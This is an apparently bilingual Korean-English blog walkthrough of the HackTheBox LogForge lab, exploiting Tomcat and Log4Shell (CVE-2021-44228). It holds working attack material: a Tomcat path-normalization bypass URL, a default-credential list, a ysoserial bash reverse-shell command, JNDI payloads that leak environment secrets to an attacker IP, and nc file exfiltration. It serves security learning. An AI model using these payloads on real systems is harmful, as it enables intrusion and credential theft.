[침투 테스팅] HackTheBox - LogForge : Log4j 취약점으로 원데이 공격 (Log4shell: CVE-2021-44228)

2022. 1. 12. 08:01Penetration Testing/Medium

Nmap 스캔 결과

HackTheBox의 LogForge 챌린지다. 일단 nmap으로 스캔해보면 웹 서버가 열려있고 8080포트로 http-proxy라는 서비스가 동작하고 있다. 이것은 내부적으로 웹 애플리케이션 서버(Tomcat등)가 Reverse Proxy로 동작하고 있을 확률이 높다는 것을 의미한다. 이외에도 SSH 서비스가 있지만 웬만해서는 RCE가 가능한 SSH 취약점이 있는 경우는 거의 없기 때문에 먼저 웹 서비스 부터 분석하는 것이 좋다.

 

By Nmap scanning, you can see that the web server is open and Port 8080 is open as http-proxy. This means that this system is most likely using Web Application Server (such as Tomcat) running as Reverse Proxy. There is, in addition, SSH services, but There will be no RCE vulnerability in SSH. so I started analyzing web services

 

 

 

 

 

OWASP DirBuster

이번에는 웹 퍼징을 OWASP DirBuster로 해보았다. Tree View 기능을 제공하고 있어서 Brute Force 결과를 확인하기 편하다는 것이 장점이다. 일단 분석 결과를 보면 /admin 페이지와 /manager 페이지가 있고 둘다 접속할 경우 접속 거부 오류가 출력된다. 여기서 /manager 페이지는 일반적으로 Tomcat의 기본 관리 페이지이다. 위에 Nmap 스캔 결과에서도 내부적으로 웹 애플리케이션 서버가 있을 가능성이 높았으니 이 서버에서는 Tomcat이 동작하고 있을 것이라고 추측할 수 있다.

 

I used a OWASP DirBuster to do fuzzing web. This app provides tree view function so we can check the result easily. From the fuzzing result, this page has two pages that one is /admin page and the other is /manager page. and /manager page is generally default manage page of Tomcat. According to Nmap scanning result, This server might use Tomcat, so that's for sure.

 

[웹 익스플로잇] Path Normalization BadProxy: Whitelist or Blacklist ACL 우회

 

만약 정말로 Tomcat 서비스가 동작 중이라면 Path Nomalization 이슈 관련 공격으로 접근 제한을 우회하고 /manager 페이지에 접근할 수 있다.

 

If this server really use Tomcat, you can bypass the access restrictions by issue related to Path Nomalization and access the /manager page.

http://10.10.11.138/aa/..;/manager/html

다음 링크를 이용하여 /manager 페이지에 접근할 수 있었지만 /admin 페이지는 이 방법으로 접근할 수 없었다. 일단 /manager에 접근하긴 했어도 ID와 패스워드를 모르면 관리 페이지를 이용할 수 없기 때문에 여기서 Tomcat의 디폴트 계정 정보를 입력해서 패스워드가 뚫리기를 바래야한다.

 

Through the above URL, you can access manager page but not admin page. However If you don't know ID and Password, you can't use this manager page, so you have to do a brute-force attack with default account.

admin password
admin  
admin Password1
admin password1
admin admin
admin tomcat
both tomcat
manager manager
role1 role1
role1 tomcat
role changethis
root Password1
root changethis
root password
root password1
root r00t
root root
root toor
tomcat tomcat
tomcat s3cret
tomcat password1
tomcat password
tomcat  
tomcat admin
tomcat changethis

구글에서 디폴트 계정 정보를 쉽게 찾을 수 있다. 하나씩 대입해보면 ID는 tomcat, 패스워드는 tomcat으로 했을때 로그인에 성공하는 것을 알 수 있다.

 

You can easily search default account lists of Tomcat in Google. and Account of this server is that ID is tomcat and Password is tomcat.

 

 

 

 

 

 

Tomcat /manager

관리 페이지를 살펴보면 업로드 기능이 있다. WAR 파일 업로드할 수 있다고 적혀있기 때문에 아마 아무거나 업로드할 수 있지는 않을 것이다. Searchsploit을 이용하여 /manager 페이지 관련 업로드 취약점을 찾아보자

 

The manager page has an upload function. It says that we can upload a WAR file so we can't upload any files. Then, I searched vulnerabilities about /manager page with Searchsploit. 

 

Searchsploit

예상대로 Upload를 이용한 Code Execution 취약점이 있다. 해당 취약점은 더 자세히 살펴보면 CVE-2009-3548으로 CVE가 붙어있다. Upload와 Deployer 모두 동일한 CVE가 붙어 있어서 동일한 공격으로 확인되므로 바로 Metasploit으로 공격을 시도해보자.

 

As expected there is an Code Execution Vulnerability using the upload function. Also, It has CVE number that is CVE-2009-3548. Upload CVE and Deployer CVE have a same CVE number so They are same Vulnerability. 

 

 

 

 

 

Metasploit

msf6 exploit(multi/http/tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/tomcat_mgr_deploy):

   Name          Current Setting              Required  Description
   ----          ---------------              --------  -----------
   HttpPassword  tomcat                       no        The password for the specified username
   HttpUsername  tomcat                       no        The username to authenticate as
   PATH          /aa/..;/manager/html/        yes       The URI path of the manager app (/deploy and /undeploy will
                                                         be used)
   Proxies                                    no        A proxy chain of format type:host:port[,type:host:port][...
                                                        ]
   RHOSTS        10.10.11.138                 yes       The target host(s), see https://github.com/rapid7/metasploi
                                                        t-framework/wiki/Using-Metasploit
   RPORT         80                           yes       The target port (TCP)
   SSL           false                        no        Negotiate SSL/TLS for outgoing connections
   VHOST                                      no        HTTP server virtual host


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.22      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic

다음과 같이 설정해주면 된다.

 

 

 

 

Metasploit

하지만 공격에 실패하였다. URL 문제일 수도 있을 것 같아 Wireshark로 분석해본 결과 일단 접속 자체는 제대로 한 것 같지만 업로드에는 실패한 것 같다. 그래서 직접 업로드를 해본 결과 업로드를 하지못하도록 업로드 사이즈를 1바이트로 제한하고 있었다.

 

But I failed exploit. At first I thought this is URL problem so I checked this with Wireshark but the payload was submitted successfully, which means that it is not an URL problem. When I uploaded the payload manually, I found that this web server limits uploading size to 1 byte

 FAIL - Deploy Upload Failed, Exception: [org.apache.tomcat.util.http.fileupload.impl.FileSizeLimitExceededException: The field deployWar exceeds its maximum permitted size of 1 bytes.]

아무래도 파일 업로드 공격으로는 내부 침투가 불가능할 것 같다. 사실 이미 해당 시스템에 내부 침투를 하려면 Log4Shell 취약점을 이용해야한다는 것을 알고 있었기에 Log4Shell이 통하는지 테스트를 해보도록 하자.

 

So we can't exploit the server by using file upload vulnerability. In fact, This server is already known to be vulnerable to Log4shell.

 

${jndi:ldap://IP:port/???}

해당 코드를 Log4j가 기록할 경우 Log4shell 취약점으로 인해 입력한 IP와 PORT 세션 연결 요청을 하게 된다. 현재 우리는 /manager 페이지에 있기 때문에 이곳에 있는 Input Form 아무곳에나 입력해도 해당 코드가 작동할 것으로 보인다. 만약 Log4j의 공격 벡터를 찾을 수 없다면 http 요청 User-Agent 헤더에 공격 코드를 넣어서 테스트해보자.

 

If Log4j API records this code, The server requests to IP and PORT that you write in code because of Log4shell. In manager page, you can execute the code wherever you type it. If you can't find attack vector of Log4shell, you can try typing code in User-Agent header of HTTP requests.

 

 

 

 

 

Log4Shell

Log4Shell 취약점을 테스트하면 다음과 같이 성공적으로 세션이 연결된 것을 볼 수 있지만 이것만으로는 피해자의 시스템에서 Reverse Shell을 실행할 수가 없었다. Reverse Shell을 실행하려면 악의적인 JNDI 서버를 열어줘야 한다. GIthub에서 JNDI-Exploit-Kit라는 JNDI Injection 공격용 툴이 존재하니 이것을 이용하면 된다. 여기서 신경써야할 부분이 공격대상 서버의 자바 버전이 높다면 기본적으로 trustURLcodebase 옵션이 False로 설정되어 있어 외부의 악성 Class를 참조하여 코드를 실행하지 않게된다. 이러한 특성 때문에 최초 Log4shell 취약점이 공개되었을때도 상위 자바 버전에서는 통하지 않을 수 있다는 내용이 기술되어있었지만 이미 Insecure Deserialization 공격을 이용하여 상위 버전에 대한 trustURLcodebase Bypass 방법이 존재했기에 모든 버전이 Log4shell에 대해서 취약하다.

 

When you use Log4Shell Vulnerability to exploit, you will find that the session is connected successfully but you can't execute a reverse shell yet. If you want to execute the reverse shell, you open the malicious JNDI server. There is an JNDI injection tool named JNDI-Exploit-kit in Github so you can just use it. The important point is that we can't execute remote malicious class in the server which use higher version of java because it defaults its trustURLcodebase option to false. because of that, It was known that Log4shell could't exploit the higher version of java when Log4shell was first revealed but there is already a trustURLcodebase Bypass technique using Insecure Deserialization vulnerability so All version of java can be exploited by Log4Shell.

 

그래서 ysoserial-modified 툴을 이용해여 Insecure Deserialization 페이로드를 작성해야한다. 기존에 ysoserial이 아닌 ysoserial-modified을 이용하는 이유는 해당 수정 버전이 Reverse Shell을 실행할 수 있는 복잡한 명령어를 실행할 수 있기 때문이다.

 

So you should use ysoserial-modified tool to generate payload of Insecure Deserialization. The reason that I use ysoserial-modified tool not ysoserial tool already existed is that only ysoserial-modified can generate complex payload of  Insecure Deserialization that execute reverse shell.

java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.22/4444 0>&1' > payload.ser

다음 명령어를 통해 역직렬화된 Reverse Shell 페이로드를 생성하자.

 

You can generate the payload that execute the reverse shell by this command.

Java -jar JNDI-Injection-Exploit-1.0-all.jar -P payload.ser -L 10.10.14.22:1234

그리고 해당 명령어로 페이로드를 전송하는 악의적인 JNDI 서버를 열어주면 된다.

 

And you should open the malicious JNDI server by this command.

 

 

 

 

 

JNDI-Exploit-Kit

서버가 열리면 JDK 버전마다 ldap URL이 제공되고 하나씩 테스트 해보면 된다. 여기서 이상한 점이 trustURLCodebase Bypass를 지원하는 URL이 아니라 trustURLCodebase라고 적힌 일반 공격 URL이 작동한다. 그 이유는 ldap 프로토콜을 이용한 공격의 경우 역직렬화된 페이로드만 있어도 trustURLCodebase Bypass가 가능하기 때문인 것으로 추측된다. 보다시피 Bypass 전용 공격 URL은 rmi 프로토콜만 지원한다는 것을 알 수 있다.

 

When the server is opened successfully, it will return ldap URls that correspond each version of JDK and you just try one by one. Then you will find something strange that the working URL is normal attack URL not trustURLCodebase Bypass URL. Because of that, we already use the payload of Insecure Deserialization.

 

 

 

 

 

 

Log4shell을 이용한 내부 침투

하여튼 공격용 URL을 위에서 Log4shell 테스팅 할때 이용했던 공격 코드에 삽입해서 보내면 내부 침투에 성공한다.

 

As a result, if you input the URL in the server, you can penetrate the system successfully.

 

 

 

 

 

 

Linux Exploit Suggester

이제 권한 상승 공격으로 root 권한을 얻어야된다. 일단 저번 처럼 Linux Exploit Suggester를 이용해보았지만 검색된 모든 취약점의 노출 정도가 Probable이라 단순히 권한 상승 코드를 실행하는 것으로는 쉽게 Exploit 하지 못할 것 같다... 그래도 일단 CVE-2021-3156에 대한 정보를 찾아보았다.

sudoedit -s /

위와 같은 명령어를 입력하는 것으로 해당 취약점에 대해 취약한지 판단할 수 있다.

sudoedit: effective uid is not 0, is /usr/bin/sudoedit on a file system with the 'nosuid' option set or an NFS file system without root privileges?

다음과 같은 오류 메시지가 출력될 경우 취약할 가능성이 높다. 하지만 해당 취약점을 악용하기 위해서는 여러 추가 조건이 필요한 것 같아 일단 건너뛰었다.

 

좀 찾아본 결과 권한 상승하는 방법이 상당히 빡세다.

ps -aux | grep root

일단 다음과 같은 명령어로 Root 권한으로 실행되는 프로세스를 찾아보자

root         883  0.0  0.1 232716  6928 ?        Ssl  02:04   0:00 /usr/lib/policykit-1/polkitd --no-debug
root        1044  0.0  0.0      0     0 ?        I<   02:04   0:00 [kworker/u5:1-btrfs-worker-high]
root        1045  0.0  0.0   7248  3404 ?        S    02:05   0:00 /usr/sbin/CRON -f
root        1053  0.0  0.0   2608   604 ?        Ss   02:05   0:00 /bin/sh -c /root/run.sh
root        1054  0.0  0.0   5648  3064 ?        S    02:05   0:00 /bin/bash /root/run.sh
root        1055  0.1  1.7 3576972 70168 ?       Sl   02:05   0:03 java -jar /root/ftpServer-1.0-SNAPSHOT-all.jar

그러면 root 권한으로 FTP 서버가 돌아간다는 것을 확인할 수 있는데 FTP 서버가 java로 돌아가고 있어 해당 FTP 서버도 Log4shell에 취약하다(....) 여기서 문제가 하나 생기는데 위에서 Log4shell 공격을 통해 Reverse Shell을 실행하는 것이 가능했던 이유는 ysoserial-modified가 Tomcat의 가젯을 이용해 성공적으로 Insecure Deserialization 페이로드를 만들었기 때문이다. 하지만 FTP에는 가젯이 없어서 Insecure Deserialization 공격이 불가능하다.

Kali linux	  : nc -lnvp 8001 > ftpServer.jar
Reverse Shell : nc 10.10.14.22 8001 < ftpServer-1.0-SNAPSHOT-all.jar

폴더를 뒤져보면 최 하위 폴더에서 위에서 보았던 FTP 서버파일을 볼 수 있다. 다음과 같은 명령어를 통해서 서버파일을 냉큼 가져올 수 있다.

 

 

 

 

 

ftpServer-1.0-SNAPSHOT-all.jar

해당 jar 파일을 까서 찾아보면 Worker.class에서 user와 password를 정의하는 부분을 찾을 수 있다. 환경 변수에 저장되어 있는 값을 가져오는 것으로 보인다. 구글링을 통해 Log4shell로 환경변수를 유출하는 방법을 찾았다.(https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)

${jndi:ldap://10.10.14.22:1234/id:${env:ftp_user}ps:${env:ftp_password}}

이 공격 코드로 환경 변수에 있는 id 와 password를 유출할 수 있다. 환경 변수를 제대로 유출할 수 있도록 root 권한으로 실행되어 있는 자바 FTP 서버에 해당 코드를 입력하면 된다.

ftp localhost

Reverse Shell에서 해당 명령어를 입력하면 FTP 서버에 접속된다. 위에 Nmap 결과에서 ftp 21포트가 Filtered 상태라고 나와 있으므로 공격자 서버에서는 해당 FTP 서버에 접속할 수 없다. 공격코드를 실행하기 전에 JNDI-Exploit-Kit으로 서버를 열어둬야 제대로 응답을 받을 수 있다.

 

 

 

 

 

 

Wireshark

이제 Wireshark로 JNDI 서버 포트로 패킷을 캡쳐한 다음 tcp stream으로 확인해보면 Id는 ippsec이고 ps는 log4j_env_leakage라는 것을 알 수 있다.

Reversel Shell : python3 -c "import pty; pty.spawn('/bin/bash')"
Kali Linux     : stty raw -echo; fg

이제 FTP에 로그인 하기 전 이 명령어로 Shell을 안정화해줘야 한다. 그렇지 않으면 FTP 서버에 연결 했을때 먹통이 되버린다..

 

 

 

 

 

FTP

이제 FTP 명령어로 flag를 읽으면 된다. 여기서도 주의할 점이 있는데 반드시 /tmp 폴더에서 FTP에 연결해주자. /tmp 외에 폴더에서 FTP 서버에 연결하고 파일을 가져오려하면 권한 오류가 뜬다.

 

하여튼 이런식으로 내부 FTP 서버를 이용해 상당히 귀찮은 방법으로 권한 상승이 가능하다... 여러모로 최신 공격 기법에다가 권한 상승 과정에서 이래저래 트릭을 이용해야함에도 Medium 등급인 이유는 사실 FTP 서버에 접속할때 아무거나 입력해도 그냥 접속되버리는 엄청난 버그(....)가 있기 때문이다.. 실제로 위 과정에서 Shell 안정화를 먼저하고 FTP 서버에 접속해서 아무거나 입력하면 무슨 이유에서 인지 그냥 접속되버린다...ㄷㄷ